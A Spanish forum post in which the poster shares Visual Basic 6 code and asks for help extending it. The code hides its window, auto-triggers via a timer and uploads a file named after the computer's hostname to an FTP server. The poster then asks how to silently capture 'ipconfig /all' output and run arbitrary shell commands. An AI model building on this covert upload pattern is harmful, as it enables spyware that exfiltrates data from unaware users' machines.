Código:
Dim ti
------------------------------------------------------------------------------------
Private Sub Form_Load()
On Error GoTo error
Form1.Visible = false
ti = 0
Timer1.Interval = 100
error:
End Sub
-------------------------------------------------------------------------------------
Private Sub Command1_Click()
On Error GoTo error
ti = ti + 1
Label1.Caption = ti
If ti = 10 Then
Open "arxivo_a_subir" For Output As #1
Print #1, "este arxivo tiene que subir"
Close #1
Inet1.Execute "ftp://ususari_ftp:clave_ftp@mi_ftp", "PUT arxivo_a_subir.txt" & Winsock1.LocalHostName & ".txt"
End If
error:
End Sub
-------------------------------------------------------------------------------------
Private Sub Timer1_Timer()
On Error GoTo error
Call Command1_Click
error:
End Sub
pues es ese.... tengo otra duda,,,, por ejemplo quiero crear una aplicacion que me permita al ejecutarla, crear un arxivo en el cual vaya, toda la informacion que proporcionaria el comando "ipconfig /all" ?¿ .... no seria algo como
Código:
Private Sub Form_Load()
Shell ("c:\windows\ipconfig /all >c:\arxivo.txt")
osea en si mi pregunta es: que debo hacer para crear una aplicacion que me permita decirle que comandos ejecutar en el command.com?¿
gracias.